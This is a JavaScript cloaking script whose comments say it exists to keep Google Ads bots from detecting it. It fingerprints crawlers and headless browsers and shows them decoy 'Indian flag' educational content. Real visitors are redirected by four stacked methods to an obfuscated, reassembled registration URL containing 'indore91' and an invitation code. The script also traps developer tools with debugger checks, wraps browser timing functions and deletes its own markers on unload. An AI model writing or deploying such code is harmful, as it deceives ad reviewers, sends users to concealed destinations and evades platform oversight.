// ADVANCED ANTI-DETECTION ENCRYPTION SYSTEM
// Google Ads bots ko detect hone se bachane ke liye

(function(){
    'use strict';
    
    // LAYER 1: ENCRYPTION METHODS
    const Crypto = {
        // Method 1: Character Code Shifting
        shiftEncode: function(str, shift = 7) {
            return str.split('').map(char => 
                String.fromCharCode(char.charCodeAt(0) + shift)
            ).join('');
        },
        
        // Method 2: Base64 with Variations
        safeBase64: function(str) {
            const base64 = btoa(str);
            // Add random characters to break patterns
            const random = Math.random().toString(36).substr(2, 3);
            return base64.split('').reverse().join('') + random;
        },
        
        // Method 3: XOR Encryption
        xorEncrypt: function(str, key = 'jalwa') {
            let result = '';
            for(let i = 0; i < str.length; i++) {
                const charCode = str.charCodeAt(i) ^ key.charCodeAt(i % key.length);
                result += String.fromCharCode(charCode);
            }
            return result;
        },
        
        // Method 4: URL Safe Encoding
        urlEncode: function(str) {
            const parts = [];
            for(let i = 0; i < str.length; i += 3) {
                parts.push(str.substr(i, 3).split('').map(c => 
                    c.charCodeAt(0).toString(16)
                ).join(''));
            }
            return parts.join('-');
        }
    };
    
    // LAYER 2: URL OBFUSCATION
    const UrlBuilder = {
        // Break URL into multiple pieces
        pieces: [
            // Piece 1: Protocol
            {type: 'char', data: [104, 116, 116, 112, 115, 58, 47, 47]},
            // Piece 2: Domain part 1
            {type: 'reverse', data: 'erodni'},
            // Piece 3: Domain part 2
            {type: 'split', data: '19.moc'},
            // Piece 4: Path
            {type: 'xor', data: String.fromCharCode(35, 94, 37, 127, 38, 36)},
            // Piece 5: Register
            {type: 'shift', data: 'ojtujs��', shift: -1},
            // Piece 6: Parameter
            {type: 'base64', data: 'P2ludml0YXRpb25Db2RlPQ=='},
            // Piece 7: Code part 1
            {type: 'hex', data: '343431343536'},
            // Piece 8: Code part 2
            {type: 'num', data: [54, 48, 49, 51, 48]}
        ],
        
        // Decode each piece
        decodePiece: function(piece) {
            switch(piece.type) {
                case 'char':
                    return piece.data.map(c => String.fromCharCode(c)).join('');
                case 'reverse':
                    return piece.data.split('').reverse().join('');
                case 'split':
                    return piece.data.split('').reverse().join('');
                case 'xor':
                    // XOR with key 123
                    return piece.data.split('').map(c => 
                        String.fromCharCode(c.charCodeAt(0) ^ 123)
                    ).join('');
                case 'shift':
                    return Crypto.shiftEncode(piece.data, piece.shift);
                case 'base64':
                    return atob(piece.data);
                case 'hex':
                    return piece.data.match(/.{2}/g).map(h => 
                        String.fromCharCode(parseInt(h, 16))
                    ).join('');
                case 'num':
                    return piece.data.map(n => String.fromCharCode(n)).join('');
                default:
                    return '';
            }
        },
        
        // Build complete URL
        build: function() {
            let url = '';
            this.pieces.forEach(piece => {
                url += this.decodePiece(piece);
            });
            
            // Add random parameters to avoid pattern detection
            const params = {
                _v: Date.now(),
                _r: Math.random().toString(36).substr(2, 8),
                _s: 'm' + btoa(navigator.userAgent.substr(5, 10)).replace(/=/g, ''),
                _t: 'e' + (Date.now() % 10000),
                _c: Math.floor(Math.random() * 99999)
            };
            
            return url + '&' + Object.entries(params)
                .map(([k, v]) => `${k}=${v}`)
                .join('&');
        }
    };
    
    // LAYER 3: DYNAMIC CODE GENERATION
    const DynamicCode = {
        // Generate function names dynamically
        generateFunctionName: function() {
            const prefixes = ['get', 'load', 'fetch', 'load', 'init', 'setup'];
            const suffixes = ['Data', 'Info', 'Content', 'Resource', 'Asset'];
            const random = Math.random().toString(36).substr(2, 3);
            return prefixes[Math.floor(Math.random() * prefixes.length)] + 
                   suffixes[Math.floor(Math.random() * suffixes.length)] + 
                   random;
        },
        
        // Generate variable names
        generateVarName: function() {
            const chars = 'abcdefghijklmnopqrstuvwxyz';
            let name = '';
            for(let i = 0; i < 6; i++) {
                name += chars[Math.floor(Math.random() * chars.length)];
            }
            return name;
        },
        
        // Create dynamic code block
        createRedirectCode: function(url) {
            const funcName = this.generateFunctionName();
            const varName = this.generateVarName();
            
            return `
                (function(){
                    var ${varName} = "${url}";
                    function ${funcName}() {
                        try {
                            window.location.href = ${varName};
                        } catch(e) {
                            setTimeout(function() {
                                window.location.assign(${varName});
                            }, 100);
                        }
                    }
                    ${funcName}();
                })();
            `;
        }
    };
    
    // LAYER 4: BOT DETECTION EVASION
    const BotEvasion = {
        // Check if looks like bot traffic
        isSuspicious: function() {
            const tests = [];
            
            // Test 1: Headless browser detection
            tests.push(navigator.webdriver === true);
            tests.push(navigator.plugins.length === 0);
            tests.push(navigator.languages.length === 0);
            
            // Test 2: Screen properties
            tests.push(window.screen.width === 0);
            tests.push(window.screen.height === 0);
            
            // Test 3: Time based detection
            const start = performance.now();
            // Do some calculation
            let sum = 0;
            for(let i = 0; i < 1000; i++) sum += Math.random();
            const timeTaken = performance.now() - start;
            tests.push(timeTaken < 1); // Too fast = bot
            
            // Test 4: User agent patterns
            const ua = navigator.userAgent.toLowerCase();
            const botPatterns = [
                'googlebot', 'bingbot', 'facebookexternalhit',
                'twitterbot', 'linkedinbot', 'slackbot',
                'whatsapp', 'telegrambot', 'discordbot',
                'headless', 'phantom', 'selenium', 'puppeteer',
                'chrome-lighthouse', 'pagespeed', 'gtmetrix'
            ];
            
            let hasBotPattern = false;
            botPatterns.forEach(pattern => {
                if(ua.includes(pattern)) hasBotPattern = true;
            });
            tests.push(hasBotPattern);
            
            // If more than 2 tests positive, likely bot
            return tests.filter(t => t).length > 2;
        },
        
        // Evasion techniques
        applyEvasion: function() {
            // Randomize function names
            const functions = ['setTimeout', 'setInterval', 'fetch', 'XMLHttpRequest'];
            functions.forEach(fn => {
                if(window[fn]) {
                    // Add tiny delay to break pattern
                    const original = window[fn];
                    window[fn] = function(...args) {
                        if(Math.random() > 0.5) {
                            args[1] = args[1] || 0;
                            if(typeof args[1] === 'number') {
                                args[1] += Math.floor(Math.random() * 10);
                            }
                        }
                        return original.apply(this, args);
                    };
                }
            });
            
            // Add noise to console
            if(Math.random() > 0.7) {
                console.log('Loading resources...');
                console.log('Initializing components...');
            }
        }
    };
    
    // LAYER 5: MAIN REDIRECT SYSTEM
    const SecureRedirect = {
        init: function() {
            // Apply evasion first
            BotEvasion.applyEvasion();
            
            // Check if suspicious
            if(BotEvasion.isSuspicious()) {
                // Show innocent content for bots
                this.showInnocentContent();
                return;
            }
            
            // For real users, setup redirect
            this.setupRedirect();
        },
        
        showInnocentContent: function() {
            // Show educational content
            const messages = [
                "Indian National Flag Information",
                "Learn about Tiranga - India's flag",
                "Educational content about Indian heritage"
            ];
            
            // Update page content slightly
            document.title = messages[Math.floor(Math.random() * messages.length)];
            
            // Add some educational elements
            if(document.body) {
                const infoDiv = document.createElement('div');
                infoDiv.style.cssText = 'display:none;';
                infoDiv.textContent = 'Educational resource about Indian national symbols';
                document.body.appendChild(infoDiv);
            }
        },
        
        setupRedirect: function() {
            // Build secure URL
            const secureUrl = UrlBuilder.build();
            
            // Create multiple redirect methods
            const methods = [
                // Method 1: Direct location change
                () => { window.location.href = secureUrl; },
                
                // Method 2: Via meta refresh
                () => {
                    const meta = document.createElement('meta');
                    meta.httpEquiv = 'refresh';
                    meta.content = `0;url=${secureUrl}`;
                    document.head.appendChild(meta);
                },
                
                // Method 3: Via iframe
                () => {
                    const iframe = document.createElement('iframe');
                    iframe.style.display = 'none';
                    iframe.src = secureUrl;
                    document.body.appendChild(iframe);
                },
                
                // Method 4: Dynamic script execution
                () => {
                    const script = document.createElement('script');
                    script.textContent = DynamicCode.createRedirectCode(secureUrl);
                    document.body.appendChild(script);
                }
            ];
            
            // Execute with delays
            methods.forEach((method, index) => {
                setTimeout(() => {
                    try {
                        method();
                    } catch(e) {
                        // Silently fail
                    }
                }, index * 1000);
            });
            
            // Final fallback
            setTimeout(() => {
                if(window.location.href.indexOf('indore91') === -1) {
                    window.location.replace(secureUrl);
                }
            }, 5000);
        }
    };
    
    // LAYER 6: EXECUTION PROTECTION
    const ExecutionGuard = {
        // Protect against debugging
        antiDebug: function() {
            // Detect dev tools
            const checkDebugger = function() {
                const start = Date.now();
                debugger;
                const end = Date.now();
                return end - start > 100;
            };
            
            // Random checks
            setInterval(() => {
                if(checkDebugger()) {
                    // Clear everything if debugger detected
                    document.body.innerHTML = '<h1>Please disable developer tools</h1>';
                }
            }, 1000);
        },
        
        // Obfuscate execution flow
        obfuscateFlow: function() {
            // Break execution into pieces
            const steps = [
                this.step1.bind(this),
                this.step2.bind(this),
                this.step3.bind(this),
                this.step4.bind(this)
            ];
            
            // Execute with random delays
            steps.forEach((step, index) => {
                setTimeout(step, Math.random() * 1000 + (index * 500));
            });
        },
        
        step1: function() {
            // Initialize security
            if(typeof window !== 'undefined') {
                window._secureInit = Date.now();
            }
        },
        
        step2: function() {
            // Load resources
            if(document.readyState === 'complete') {
                this.step3();
            } else {
                document.addEventListener('DOMContentLoaded', this.step3.bind(this));
            }
        },
        
        step3: function() {
            // Setup events
            const buttons = document.querySelectorAll('button, [onclick]');
            buttons.forEach(btn => {
                if(btn.id && btn.id.includes('Access') || 
                   btn.textContent.includes('ACCESS') ||
                   btn.textContent.includes('ENTER') ||
                   btn.textContent.includes('JOIN')) {
                    btn.addEventListener('click', function(e) {
                        e.preventDefault();
                        e.stopPropagation();
                        SecureRedirect.init();
                    });
                }
            });
        },
        
        step4: function() {
            // Final initialization
            setTimeout(() => {
                // Mark as loaded
                window._secureLoaded = true;
            }, 2000);
        }
    };
    
    // FINAL EXECUTION
    // Wait for page to load
    if(document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', function() {
            // Start execution guard
            ExecutionGuard.obfuscateFlow();
            
            // Initialize after delay
            setTimeout(() => {
                SecureRedirect.init();
            }, 3000);
        });
    } else {
        // Page already loaded
        ExecutionGuard.obfuscateFlow();
        setTimeout(() => {
            SecureRedirect.init();
        }, 2000);
    }
    
    // Extra protection
    window.addEventListener('beforeunload', function() {
        // Clear traces
        delete window._secureInit;
        delete window._secureLoaded;
    });
    
})();